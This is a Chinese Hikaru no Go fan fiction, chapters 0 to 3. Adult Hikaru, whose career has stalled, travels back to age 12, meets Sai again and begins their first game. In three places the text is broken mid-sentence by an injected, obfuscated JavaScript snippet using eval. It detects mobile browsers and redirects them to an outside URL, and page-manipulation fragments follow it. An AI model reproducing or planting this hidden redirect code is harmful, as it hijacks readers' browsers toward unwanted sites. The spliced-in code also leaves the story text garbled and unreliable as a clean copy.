《棋魂之二度未来》 1. Chapter 0. 序幕 时间如针孔中流过的线一般纤细, 未来如十九路盘的胜负一般难以辨清。 ——题记 20代,对于职业棋士中的青年才俊而言,本应是不可多得的绝佳年华。 日本棋坛放眼望去,已全然是年轻一辈的天下。自塔矢行洋五冠王退出职业棋坛,以绪方精次为首、仓田厚等人紧随其后的中坚力量登上了顶峰;而从后方以无人可挡的势头紧逼这些前辈的少年们,也熏染出些许运筹帷幄的王者风范,预备随时将头衔持有者从天之王座上揪下来。 没错!尤其是本因坊的位置,他进藤光绝对不会拱手让给任何人! 下次、下次他一定会赢的! “等着我……塔矢。” 光攥紧拳头,强忍泪水,起身快步离开对局室,留下他的对手川上桐生六段劫后余生地盯着棋盘。 ……勉强赢了一目半。 这次对局打得十分艰难,川上自认心态很好,但进藤光七段的死缠烂打一直持续到收官,差点就斩断了他通往本因坊挑战权的最后希望。所幸终盘是险胜。 看来进藤也不像绪方名人说的那么强啊。明明他入段时还和塔矢亮并称“新生代双子星”,第一届北斗杯抢了主将位,国际大赛也屡屡打入准决赛,却不知怎的总与冠军擦肩而过,直到24岁也没拿过像样的头衔。 下一代新人马上又要冒头了,这个进藤也就到这里了吧。 就在他不胜唏嘘时,一脸阴郁的进藤光从棋院的楼梯上慢悠悠地晃下来,正好撞见在电梯门口鬼鬼祟祟踱步的真柴充。 每次遇到他都没好事,光在心里这样嘀咕着,想径直离去。可惜他晚了一步,真柴一见他便两眼放光。 “呀!这不是大家最看好的围棋新星、进藤七段吗?啊呀啊呀,你不是一直把赢过高永夏挂在嘴边吗?看看,人家这么快又拿到一个世界冠军了,世——界——冠军啊!而你,连个本因坊挑战权都能丢,打倒塔矢亮?打倒高永夏?你一往无前的只有大嗓门吗?” 真柴掩饰不住嘴边嘲讽的笑容,扬起手中的报纸。 只消扫一眼,光就认出了头版头条的新闻人物,正是那个他不爽好几年了的混蛋高泡菜。别的不说,单单论那高傲不羁的眼神,世上便无第二人能够比肩。 光打了个慵懒的呵欠,假装满不在乎地与真柴擦肩而过。 “那家伙又拿到三星杯冠军的消息,棋院早就传遍了,如果你是成心想拿这件事气我,劝你还是省省力气吧。” 真柴的嘴角有些抽搐,仍旧不死心地上前两步,“什、什么嘛,你每次遇上他都输那么惨,结果心里根本不在意啊。这么说来,能赢过他的人,果然只剩那个塔矢亮了吗?” 听到这里,进藤光的脚步猛地停了下来。 只有塔矢…… 只有塔矢,有资格做高永夏的对手吗…… 而他,还在为了争夺一个本因坊挑战权而每日提心吊胆…… 真柴见苦心积虑的激怒初见成效,自然不肯就此罢休,越发嚣张地加大了“真柴式”笑容的弧度。 “哎呀,莫非被我戳中痛处了?哦哦哦,对了对了,我差点忘了你刚被他公开批评棋风墨守成规不足以做他的对手这茬——” “了”字尚未出口,光已阴沉着脸低吼道:“给我闭嘴!” 众所周知,身为棋坛新人翘楚的进藤光只有三大禁忌:一为高永夏,二为塔矢亮,三为手中片刻不离身的折扇,若刻意提起这三件事来挑衅,必定导致严重后果。 偏偏真柴还得意洋洋地补上一句:“你急什么呀。我说,大冬天的你还拿着那把破扇子,连我看了都觉着丢脸,还是赶紧扔掉别装模作样了吧!哈哈哈哈——” 真柴充,卒,享年27岁。 如果不是及时赶到的和谷义高冒着生命危险拖走满脸黑气的进藤光,棋院恐怕真的会演变成杀人现场。好在和谷最擅长的就是预判进藤光的雷区,并提前一步制服本人。 院生时代最要好的二人站在棋院楼梯口的自动贩售机前,各自往里面投了几枚硬币。 “唉,进藤,你以后也为我考虑考虑,少散发点这么可怕的杀气好不好……每次替你向棋院三鞠躬四谢罪的可是我啊。”和谷愁眉苦脸地递给他一瓶黑咖啡。 两人均已过了爱喝果汁的年龄。 光不好意思地笑笑,“抱歉,和谷。” “算了,这个倒是其次……塔矢有多久没跟你联络了?”和谷一副无可奈何的表情,打开自己手中罐装饮料的拉环。 “诶?”光不自觉握紧了咖啡罐,“怎么突然说起这个?” “得了吧,谁不知道你俩闹翻之后你就一直萎靡不振的……伊角也很担心你,从中国打了电话过来问呢。要我说吧,塔矢亮这人虽然极不知变通,但往常跟你闹别扭也都是隔天就和好,这回他是不是做了什么相当过分的事啊!” 和谷的疑问,让平日以里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211732|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开朗乐观著称的光一时嗫嚅着无法给出回答。 真正过分的,不是塔矢,而是光自己。 是自己一怒之下对塔矢亮说出“我进藤光的棋变成什么样,与你毫无瓜葛”这种伤人的蠢话,又怕塔矢勒令他“改掉秀策流里那些死板的执着”的目光,而不敢回去道歉,这几日确实过得精疲力竭。 中韩的同年代棋手都在世界大赛上抢夺冠军,他却一路下沉,至今颗粒无收,更不用说主动迎接未来AI围棋带来的棋路冲击了。年少时的的那股冲劲就像做梦一样,遥远而模糊,难道他的围棋之路也走到瓶颈了吗…… 瞟见楼道另一侧崭新的院生招募海报,光深深地吸了口气。 果然是,一切都变了。 唯一没能改变的,只有光的心情而已。 他理应不断向前,披荆斩棘,为延续佐为的灵魂而努力。可是他发现,未来并非自己所想象的那般顺风顺水,赢棋也变得越来越难……他越是想留住自己棋里的佐为的影子,就越像在水中捞月,最后也只是一场空。 “可恶。” 他轻轻抱怨了句。但没人听见他的自言自语。 秀策的棋……佐为的棋……到底应该是什么样呢?新时代的棋路变化太快,连他自己都不敢确定了。 晚上,当愁眉不展的进藤光再一次来到古籍室借阅棋谱时,他突然记起了十年以前,佐为消失之后的那个月,年少的他在这里独自泪流满面的样子。 那时的他,一定是全心全意地爱着围棋的。 ——佐为…… ——你托付给我的信念,我真的可以一直坚守下去吗? ——高永夏和洪秀英都拿到了世界冠军,而我还在为了小小的本因坊循环赛费尽心思……连塔矢都说我这十年一直在原地踏步……我知道那只是一时气话,但是,自己的棋越来越生硬却也是无可逃避的事实。 ——佐为,如果是你的话,一定能下出更与时俱进的妙招吧…… ——佐为,能不能请你告诉我,如果你还在我身边,会不会一切都不一样? ——呐,佐为…… ——如果你能听见我的声音的话……就请让时间回到最开始的那一天吧!!! “滴答。” 光的泪水落在棋谱中央,他仿佛听见了一声浅浅的叹息,如同从遥远的过去传达至今一般悠长而空灵。 于是,时间的轮盘,再度开始转动。 ●○●○ 2. Chapter 1.二度人生 二度,重也。 人之贪欲,在于得而不满。 渴求失去的事物,盼望修改已成定局的事实,因为自责而向往着从头来过。这样的心理人皆有之,无可厚非。 若是,你的手上突然多出这样一次机会,你会用它来弥补何时的缺憾?还是会……最终舍弃掉回到过去的机会,毫不犹豫地继续向前呢? “……嗯?” 再一次睁开眼,面前浮现出的却是在回忆里清晰到令人心酸的场景,那时,心里会有怎样的感受? 此时的进藤光,便处于这般如梦似幻的境地之中,一时忘记了呼吸。 他的祈愿……竟然成为了现实。 他抑制不住颤抖地伸出手去,抚摸到了房间里的日历,纸张表皮光滑而细腻的触感清清楚楚地告诉自己——这不是梦境。 自从第二届北斗杯开赛之后,自己就干脆和塔矢一起在棋院边上租了房子住下来,再也没有搬回过旧时的进藤家。可是,如今眼前所呈现的景致,那样不是少年时期居住的房屋所特有的痕迹? 等等,难道他真的回到了最开始的日子?虽然有点难以置信,但还是得确认一下…… 日历上黑纸白字的日期,是平成十年十二月十三日。 “骗人的吧……” 口中不自觉地呢喃着,光紧紧皱起了眉头,而内心却早已风起云涌。 这一天,他绝对不会记错,就是当年12岁的自己与佐为相遇的日子! “啊——” 他猛地回头遥望窗外,黑云压城,眼见着一场大雨即将来临。确实,那天那场冬月里罕见的雨,像突如其来的命运转折一样吞噬了进藤光的世界。 如今再看,微凉的雨势却奇迹般地浇灭了光心头不安的火苗。 无论如何,一定不能再过一次那样充满遗憾的人生!既然有这样的机会去改写命运,他绝不允许从前的错过再度占据进藤光和藤原佐为的生命! ——看着吧,佐为,我不会让你失望的! 他顺手摸了摸身上的T恤衫,那是他小时候最喜欢款式,不过一想到今天还要去上学,他就不得不跑去衣柜里拿出自己那套白衬衫的学生制服套在身上。 这么看,小学生的制服还真是小啊……他以前个头有这么小来着吗? 这时,楼下传来的女声打断了他在镜子面前的思怵。 “小光,快下来吃早饭!今天不是社会科考试吗?不要拖拖拉拉的,会迟到喔!” 听见这声音,光突然有种恍然的不真切感。 12岁时的进藤妈妈,还没有患上肝癌,声调也喜气洋洋的,很有精神。 回忆起18岁那年妈妈被发现肝脏有严重问题的时候,还是不苟言笑的亮陪着他在爱新堂病院外呆坐了一整夜。光从来没有感到那般凄凉无助,那种重要的亲人一夜之间几乎被判定为死刑的窒息感,他再也不想经历第二次。 也许佐为让他回到过去,就是为了开创另一个未来吧。一个谁也不会受伤的未来。 光不留痕迹地拭去了眼角细碎的泪花,开心得像个孩子:“我这就来!” 言语间,他的脚步不禁轻松了许多,成人后的光已很久不曾这样欢快了。以往催促自家孩子起床需要历经艰难险阻千辛万苦的妈妈奇怪地看了他一眼,递给他一杯牛奶:“怎么了,这么高兴,考试复习完了?” “没有啦。我只是觉得,能吃到你做的早饭真是太好了。谢谢你,妈妈。” 光小心翼翼地接过牛奶,仿佛在对待一件珍贵的宝物。 进藤美津子完全没注意自己儿子异常开心的精神状态,只是对这突然的道谢感到惊讶。 “什么?你又闯祸了吗?” “我才没有!” “无事献殷勤,准没好心思。”美津子给面包涂上一层红色的草莓果酱,“是不是和大助打架了?还是想找我要零用钱?” 大助是隔壁家的小孩。光从小就和他互相看不对眼。不过后来两个人就完全没有联系了。 “我已经不是小孩啦!怎么可能!”他大声抗议。 “才12岁,哪里不是小孩。” 好吧,她说得其实也没错。原本消沉的心情一旦被激发起来,光感觉自己真的回到了孩提时代的心境。就连说些任性的话,也可以得到包容——他感到了莫名的自由。 下围棋的人一般都不那么世俗,但光还是不喜欢成年人的社会,他觉得要应付的杂事太多,没法让他集中精力研究围棋。而且,背在身上的责任也太过沉重了。 默默坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211733|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在空荡荡的房间里,望着棋盘上的黑白棋子,就是他逃避的体现。 但是现在,回到小孩子的身体里,这些乱七八糟的事,他暂时都可以不用去管了。没有工资,没有升职,没有变成庸才的威胁,没有复杂的人际关系,亲人都健在,朋友也纯粹因为喜欢在一起而聚集。他甚至觉得有些轻松过头了。 “可是真的很好吃嘛。”光咕嘟嘟喝完牛奶,开始大口啃面包,“父母这种职业真是折翼的天使……明明那么麻烦,还没人付工资,小孩也可能会不听话,尤其是像我这样的,淘气起来简直能拆家。” “真难得你会这么想。”美津子的侧脸看上去略微泛红,“那就好好学习,少让我操心,这样我就心满意足了。” 她居然还被他这番话给感动了。早知道,他就该对她说更多感谢的话才对。 “对了,妈妈,你不是说最近有点没力气吗,一定要多休息,不舒服早点去医院。熏制的东西对身体不好,从今天开始我们家就别吃了!”光顺手抢过桌上的餐具,急匆匆端去厨房洗了,才抓起书包冲回玄关,“我先去上学了!” “啊、小光?” 望着光渐渐远去的背影,美津子不明所以地摇摇头。 今天的小光突然变得跟往常不一样了,居然会关心妈妈,还抢着做家务,以前他是这样的孩子吗? 难道……小光终于到了青春期? 另一边,进藤光自然不知道美津子的疑惑。他笑眯眯地走上那条记忆中不曾褪色的熟悉的小路。路旁栽种着冬月仍旧傲然挺立的枫树,以前佐为还在身边时,常常感慨东京街头最普通的景色也是多么多么独特,那时的光尚且年幼,不懂得与世隔绝近140年的佐为眼中淡淡的落寞原是为何。 如今,感慨这些景色的人变成了曾经不解风情的自己。 无法挽回的时间竟然真的逆转了。光还是没办法完全相信他面前的事实。 当最熟悉的过去,成为最陌生的二度未来…… 光习惯性地做出一个落子的手势,自顾自地傻笑着,奔向学校的所在——他已经等不及要去见那个眼角总是带着一抹浅浅微笑的,棋力堪称世界一流的,任性而可爱的,一声不吭地离开了他的,曾让他伤透了心的幽灵了。 ●○●○ 3. Chapter 2. 重逢与初遇 进藤光觉得自己不算是个“好人”。 少年时代的光纯真无邪,却也有些自私,总以自己的视角考量世界,一不小心就忽视了身边的人,比如藤崎明,比如佐为。直到时间流逝,真正需要那些“总是陪在身边的人”的时候,他才懂得珍惜。可能这就是成长的必经之路吧。 成长?是啊,他总是一厢情愿地给自己留下狡辩的余地。但狡辩,只是逃避现实的方法,而非改变现实的方法。如果再见到佐为,他必须好好道歉才行。 “你的头发怎么了,进藤君?”让他从美好幻想里回到现实的,是校门口保安大爷的呵斥。 “呃、起晚了,忘记梳头了!早上好!安藤先生!” 他元气满满地对大爷鞠了个躬。周围走过去几个戴帽子的小学生,见他如此讲礼貌地和学校的职工打招呼,也是吓了一跳。因为往日的进藤光都是随意敷衍一下就抢着进教室的——他实在太喜欢迟到了。 实际上,今天他也只是刚刚好踩着铃声进门而已。 “进藤今天怎么这么高兴啊?”落座后,一人小声嘀咕道。 “不知道……明明昨天他还大喊考试要挂的……” 他们甚至没跟光搭话,因为这个面对考试还笑容满面的光十分反常,让人有种世界错乱的感觉。 与他们不同,光此刻的心情格外轻盈。他小跑着走近换鞋的玄关,把鞋柜打开,然后麻利地换完鞋,继续笑呵呵地往楼上走去。 自己现在要重新做一回小学生,冷静下来之后仔细想想,光简直止不住脸上的笑意。 太棒了!上课不用听讲也可以混到及格!这可是他做白日梦都没想过的桥段!虽然上辈子他也没怎么努力学习过,所以名列前茅是不可能了,但成年人的头脑拿来解答小学生的问题,再怎么说也比上辈子轻松。 不过,更重要的是佐为。他好想现在就翘课去爷爷家,好想好想,想到双手都一直在发抖。 但他又怕万一去早了,不满足充要条件、反而触发不了鬼魂机制可怎么办…… “小光!早!” 听见有人想叫他的名字,光条件反射性迅速回头。来人正是他活泼可爱无忧无虑的青梅竹马,藤崎明。 “早上好。好久不见了,明小姐。” 光按照他二十多岁的习惯对明打了招呼,却没想到对方一脸吃错药的表情。 “小光你……发生什么事了?怎么怪怪的……” “怪?哪里怪了?” “哪里都怪!小光你还是头一次对我用敬语耶!” 藤崎明的惊讶程度早已超过了“诧异”,起码也到了“惊悚”。 光过了好几秒才想起,“明小姐”是藤崎明结婚之后他常取笑她用的称呼。意识到自己的不当,光反而笑了起来:“那是因为我有求于你啊!明小姐,今天的社会科考试,我们要考哪?” “什么啊,小光!你居然连我们要考哪里都不知道?!还嫌阿姨扣你的零花钱不够多吗?” “嘿嘿,我这不是忘了吗。” 光风轻云淡的模样让明更加气不打一处来。但她还是把书递给了他,“真拿你没办法。画过记号的地方都看一眼,有点印象总归比一片空白要好。再有下次我可不帮你了!” 明的举动在当时的光看来有点小气,可现在二十多岁的光却觉得非常温暖。 “谢谢你,明明。”光笑得格外灿烂,“晚上我有事要先走,你就不必等我了。” “有事?什么事?也带我一起去嘛!” “这个……”面对青梅竹马如此期待的眼神,光一时有点编不下去,他总不能说是要独自去见佐为吧,“是男孩子的小秘密。” “小光,如果被伯母发现你做坏事的话,我可不会包庇你哦。”明神色严肃地告诫道。 “知道啦!” 那个时候的光,放学之后到处乱跑,没少给家里惹事。隐隐约约记得出于这个原因爸爸一直很支持自己学围棋,说是可以顺道磨磨性子。 性子确实是磨下来了。光忍不住露出一抹苦笑,自佐为走后,他的个性比之此前的活蹦乱跳没心没肺几乎是天壤之别。然而如若可以,他宁可不要变成后来那个一贯沉着冷静、只有在跟塔矢复盘时才会暴露出内心不安的进藤光。 那样的自己,实在太不像自己。 只有和佐为在一起时的进藤光,才是最快乐的。 耳边佐为欢呼雀跃地叫着自己名字的场景,似乎已时隔千百年。 在学校的一整天相当难熬。纵然光抱着欣赏生活的心理来看待周围的一切,可是赶紧放学去爷爷家的心情比任何怀旧的愿望都要强烈。好不容易盼来了放课铃声,他抓起书包就向学校外跑去。 “今天的进藤有点不对头啊。” 坐在他旁边的绿川见到光比离弦之箭还要快的速度,不禁感慨。 “绿川君也觉得?”明明点点头,“也许是约了别人踢球吧。” “踢球怎么可能这么激动?又不是来了国际球星!还有,老师上课提的问题他居然对答如流!甚至刚刚的社会科考试也一副胸有成竹的样子!我捉弄他他都完全不生气!这才是最不可思议的!!” 平日里榆木脑袋不开窍的进藤光,竟然能在数学课上被老师表扬反应快!身为光的损友,绿川无法接受这一事实。 当然,任凭他想破脑袋也猜不到如今的进藤光早就换了个人。 另一边,进藤光快步走出校门,天气虽有些阴霾,但还没有落雨。意识到自己出来得太早的光不禁如释重负。他需要一点点时间来整理一下自己,见到佐为的时候他可不能惊慌失措。 路过一家以前常去的“千岁”围棋会所时,光不自觉地停下了脚步。 “小学弟,要来玩吗?我们可以给你打折哦!” 几个看起来是高中生样子的男生正在隔壁电玩店门口招揽生意。光微微皱眉,他不喜欢围棋会所开在这种地方,在他心目中,下棋是件很认真的事情,离这些乌烟瘴气的店太近总会让他产生不必要的反感。 光果断地摇摇头,继续走向爷爷家。他不曾留意,围棋会所的靠窗位置有个与他年龄相仿的孩子注意到了他望向这里时炽热的目光。 “你在看什么呢,塔矢君?”围棋会所的另一个客人热情地给亮端来一杯果汁,“你的橙汁,免费的,难得你来一趟,今天随便喝。” “谢谢,柴田先生。”礼貌地道谢之后,亮并没有多说什么,继续他的讲解,“所以,应该下在这里,先做活再以此为据点展开全局攻击,而不是一味地委曲求全。” “原来如此……不愧是塔矢名人的儿子,果然天资聪颖!” 叫做柴田的男人连连称赞,而坐在亮对面的男孩却有些气恼地缩了缩身子。 这话听在亮的耳朵里并不见得那般悦耳。他一向厌烦客套和虚伪的称赞,而那些称赞的人有几分出于真心有几分是因为他的父亲,他也没有丝毫的兴趣。他只想好好下棋,除此之外再无其他。 “您过誉了。”心里这般思索着,面上倒还不至于让对方过不去,亮微笑着欠了欠身,“今日能和令郎下棋我也很高兴。” 非要拉着人称天才神童的塔矢亮来会所下棋借机刺激自己的儿子,虽然亮还小,但柴田的这点小心思他还是能看出来的。这位微笑着的先生为了孩子的前途,也称得上煞费苦心,可惜,怕是鼓励不成、反而打击了孩子对围棋的信心。 现在他儿子就完全是一脸受了委屈的表情。 注意到亮的目光,那孩子微微别过头去,没有理他。 父亲塔矢行洋想让亮出来交朋友的心意,亮也理解,只是他着实对人际交往一窍不通,棋力又过于鹤立鸡群,往往被同龄的孩子讨厌。 塔矢亮从内心里,其实一直都很渴望能有一个同自己实力相当的对手和朋友。然而,高处不胜寒的道理在哪里都适用,对于天才神童塔矢亮来说,他理想中亲密的挚友,实在可遇不可求。 亮绝对没有想到,由于光的重生,使得二人由死敌变死党的进程大大加快了好几年。 这时,关键人物进藤光还在快步走向他的目的地。 “下雨了……” “怎么办,我没带伞耶。” 一对情侣在商店街前忧郁地望着天空。进藤光快步穿过他们之间的空隙,向前奔去。 路过一座小桥时,雨声渐渐大了起来,光似乎看见了上一世和明明一起来偷古董想去卖钱的情景。他加快了步伐,在雨势更大之前平安抵达了进藤平八的宅子。 “这雨下得可真夸张。爷爷,我来啦!” 按照旧习惯呼唤着屋内的人,光不得不承认此刻他的心中百味杂陈。也顾不得认真和爷爷打招呼,光三步跨作两步登上了阁楼,担心万一出了什么岔子见不到佐为,那就太得不偿失了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211734|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阁楼里依旧是一副阴森压抑的场景,不过现在,光只觉分外亲切可爱,连落满灰的楼梯也顺眼了许多。 他没有功夫犹豫,径直来到那古棋盘面前。 “嘿——咻——” 对于12岁的光,实木的棋盘还是太沉了点。光吃力地将它搬到空地上,用衣袖细细擦拭着沾血的棋盘角,屏气凝神,连眼都不敢眨地盯着它的表面,期盼能有预料中的东西出现。 过了似乎是一万年的时间,光的目光有些湿润了。 空气安静得恐怖,让他的心跳声格外明显。 咚咚,咚咚。 佐为…… 别躲着了,快出来啊! 他攥紧了手心,指甲深深地刺进肉里。即便如此,亦无法遮掩他颤抖着的紧张情绪。 佐为……为什么……没有反应…… 难道你预料到未来会消失,就索性不愿出现了吗……? 你在内心深处,一直在责怪那个不让你下棋的进藤光吗? “佐为——!!” 就在光差点丢下棋盘嚎啕大哭之际,一个温润如玉的男声在他心中响起。 “你怎会……知晓我的名字?” 一阵馨香突然笼罩着光。 宛如月光般的薄衣,轻轻地拂过光的脸颊。 那是一个十分沁凉悦耳的声音。 声音的主人也同样清俊神美。 珍珠色的和衣上披着外袍,宛如夜色般的深蓝衬衣则从襟口处透了出来;一头又长又亮的紫发束在肩后,肌肤如同陶瓷般雪白无暇,细长的眼瞳散发着强烈的光辉。 余音方歇。光就那样愣愣地注视着前方,正是那令他魂牵梦萦的长发幽灵——藤原佐为。 “佐……为?”他提高了声调,仿佛要确认对方的存在,“佐为!是你吗?真的是你吧!” 答案不言而喻。 紫发幽灵却感到十分意外:“你认识我?” 佐为柔和的声音终是击碎了光的徘徊不定,光稳住跪地的膝盖,慢慢地深呼吸,深呼吸,忍住即将夺眶而出的泪水,尽力对佐为绽放出阳光的笑容:“嗯!我认识你哦,佐为!” “可是,怎么会?”佐为越发百思不得其解。 “因为我们上辈子是好朋友呀。”光狡黠地眨了眨眼,不留痕迹地隐藏起语气中的愧疚。 佐为彻底迷糊了,看光的神色又不像是在开玩笑。 奇怪,正常人看见自己这个鬼魂不应该感到很害怕吗?这孩子不惊诧也就罢了,为什么会一副欣喜若狂的样子? “……嗯?”佐为拼命地想他有没有见过这个人,然而记忆里却仍旧没有半点印象,只好老老实实地道歉,“对不起,我已经完全不记得在哪里见过你了。” 佐为努力回忆的呆萌表情莫名戳中光的笑点。他连忙岔开话题,开始一本正经地圆谎:“没有啦!其实是爷爷说这个阁楼里闹鬼,我才来探险的,没想到还真有个鬼魂啊……你叫藤原佐为,对吧?和传说里一模一样呢!” “传说?” “对!爷爷买下这个棋盘的时候,卖家说棋盘上附身了平安时代的幽灵,名字好像就叫藤原佐为,是平安时代教天皇下棋的棋师。所以这都是真的吗?你见过天皇吗?” 光越编越像那么回事,连自己都快信了。很好,至少十年来他进步的不止是棋艺,也有一个人成年人应有的演技。 佐为难以置信地歪了歪头。 “没想到你连这都知道。我……这么有名吗?虎次郎的时代好像还没有这样的传说。” “那就是真的?好厉害啊。”光拖长了音调,尽量让自己看上去更像个小孩,他本想给自己更多坚毅的力量,目光却在触及佐为的一瞬间立即柔软下来,喉咙有些哽咽,“总之,这次算是正式的自我介绍吧。我叫进藤光,你可以叫我……小光。” ——佐为,经历了那么多风风雨雨艰难险阻,你终于又出现在了我的面前。 ——咫尺的距离,我便可以与你重合。 毫无防备之心的佐为自然开心到不行,点头道:“嗯,小光,很高兴认识你!” “我也是,佐为。” ——很高兴,能与你再度相遇。 ——这一次我绝不会再伤害你。 I promise I will make you happy. ●○●○ 4. Chapter 3. 跨越十年的对局 留恋于已故的事物是人的本能,正如想要保护内心最柔软的部分的愿望一样,潜藏在人的头脑深处。 光的眼睛一直紧紧黏在佐为身上,片刻都不愿离开,看得佐为多少有些不好意思了。 “……小光?” “啊!”察觉出佐为的不安,光连忙猛拍自己的脑门。刚才他是因为心情激动而没想好如何开口,一直这样僵下去可受不了!还是尽快找点话题,嗯,找点话题…… 光突然抬起头,期待地问:“对了,佐为你应该会下棋吧?既然你是天皇的棋师,水平肯定不差!” 这期待中夹杂着多少味情感,也只有他心里最清楚。 他不知道现在该如何与佐为相处。上一世,因为习惯了佐为的存在,两人成天在一起也非常无拘无束,但眼前这个佐为还不熟悉他,光可不想给佐为留下什么坏印象。既然佐为喜欢围棋,那从围棋开始说,一定不会错吧。 仿佛在印证他的想法,佐为露出惊奇的表情:“难道小光你也会下棋?” “会……算会一些吧。我的棋都是看着本因坊秀策的棋谱学的。” 在佐为面前,光可不敢说自己“会下棋”。即使是后来拿到了七段的进藤光,棋力终究还是相对塔矢亮八段略逊一筹,更何况面对这个拥有惊天地泣鬼神的围棋才能的幽灵,藤原佐为呢? 但显然,佐为的注意力完全被他后半句吸引了。 “……秀策?!小光你喜欢秀策吗?”佐为面带微笑地指向自己的包子脸,带着几分得意,“你说的那个秀策,其实,就是我喔!” 一副寻求表扬的样子。 知道知道,那当然也是你。光憋得嘴角都快翘上月球了,却还是一边忍住笑意、一边配合他讲故事:“啊?佐为,你没有在胡说八道吧?秀策可不是平安时代的人啊。” 佐为因为这句质疑而气呼呼地举起了双手,“当然是真的!自从宿身于这浮木盘后,我再次苏醒时,遇到的那位名叫虎次郎的少年,就是后来的本因坊秀策。后世流传的秀策的棋谱,其实全部都是他替我下的,全——部喔!” “真的?那我们打个赌吧,要是你真是秀策,我就满足你一个愿望。”光说着,装作满不在乎实则迫不及待地打开了棋罐,从下往上抬头看着佐为,“秀策肯定不会输给我这种小学生吧?” 佐为一愣,“你的意思是……要和我对局?” “嗯。不下一局,怎么知道你有没有在吹牛嘛。” 明明这是一句挑衅的台词,可在佐为听来却格外悦耳,因为“对局”这个词,已经太久没出现在他的世界了。 虎次郎病逝后的一百三十六年,他都独自沉睡在这棋盘中,无人与他交谈,更谈不上对弈,陪伴着佐为的,只有一眼望不到尽头的漫漫长夜。这种窒息般的孤独屡次叫他差点放弃,但对围棋的热爱又令他坚持了下来。 坚持了下来,才终于遇到第二个将他呼唤出棋盘的孩子,进藤光。 佐为先是几乎落泪,随后换上了孩童般的笑脸。 “——太好了!对局吧,小光!我已经上百年没有下棋了,你竟然这么懂我!”佐为双手用力揉着光的头,以此表达内心的喜悦,“没想到,我重新醒来遇到的第一个人就会下棋!上天怎会给我这样的好运!来来,就用我栖身的这个棋盘来下一局吧,快,快!” “好啦好啦,你别催我啦,这样我会看不到棋盘的。” 光假装抱怨着躲开佐为的抱脸攻击,但其实,他的内心比百年未曾搏杀棋战的佐为还要兴奋。就连将另一盒棋罐打开的手指都在微微颤抖。 盖子掉落在地上,发出清脆的声音。 这就是证明。一如当初塔矢亮强忍对佐为的恐惧,向光提出对弈时的心情。 光下意识地咽了口唾沫。佐为消失已经十年了,这是他十年来,久违的和对方的交手。最后那局棋才下到一半,佐为便在拂面春风中化为了透明的星屑,而他对此一无所知,甚至来不及说一句再见。 如今……如今的光,怀揣着十年来独自一人的努力和忍耐,竟然有些害怕与过去的佐为对弈。他不知自己棋力在这十年究竟成长了多少。 能赢吗? 即使是面对尚未学习现代定式的佐为,十年后的他,也真的……能赢吗? 这一局,与其说是对佐为的补偿,不如说是对自己的考验。 ——这十年时光,是否被白白浪费的考验。 “小光?”察觉出他潜藏在灵魂深处的紧张,佐为安抚般低头望着他,“你没事吧?” 光笑着摇了摇头。 “没事。你一向喜欢用黑子,那就由你执黑吧。请多指教啦,佐为。”他将装着黑棋的棋罐挪到手边,在棋盘上方深深鞠躬。 见状,佐为也虔诚地俯下身去。 “……请多指教。” 佐为深吸一口气,再度垂眸时,已是无比严肃的神情。 “十七之四,小目。” 意料之中的展开。光几乎在他说出这句话之前就预料到了结果,手指早一步将棋子摆在了对应的位置,但在棋子完全落下之前,光忽然想起了什么。 他指着棋盘,解释道:“不行啦,佐为坐在我对面,所以你说的方向会颠倒,不如就直接用扇子指出想落子的位置吧。” 对哦,上下会反过来。 “原来如此!小光你真聪明!”佐为恍然大悟。 这套办法虎次郎确实是没想出来过。 光无奈地笑了笑:“我倒希望你这句夸赞,能留到对局结束的时候再说啊。” 不过,为什么小光明明指出了这个问题,刚才他想放置棋子的位置却没弄反呢?佐为心里的疑惑只维持了极端的一瞬,下一刻,他的目光便被落下的棋子转移走了。 光夹起棋子的姿势格外老练,就像无数次演练一般,急切而迅猛。 毫无悬念地,第一手,佐为下在了小目。一如从前立于秀策身后时不加沉吟的出手。 优雅清脆的落子声。 犹如震慑人心的乐音。 第一颗棋子落下之际,佐为的泪水猛地夺目而出,忙用扇子挡住自己过于激动而无法控制的脸庞。 见状,光欣慰地揉了揉眼角,没有说话。 初见佐为时,他还觉得一个大男人下盘棋就能哭成那样太奇怪了,如今身份互换,他却比任何人都能体谅佐为对这局棋的渴望。佐为早已心潮澎湃,毕竟他等这一局,足足等了一百三十六年。 “很开心吧,佐为。”光又夹起另外一盒棋罐里的白子,高高举起,“这场久违的对弈,我们都等得太久太久了。” 佐为没注意到光这句话里的深意,眼下他满心都是重新下棋的喜悦,外界的一切都无足轻重。 子起,子落。 小目。本是秀策最擅长的起手。原本也是光最习惯的起手。 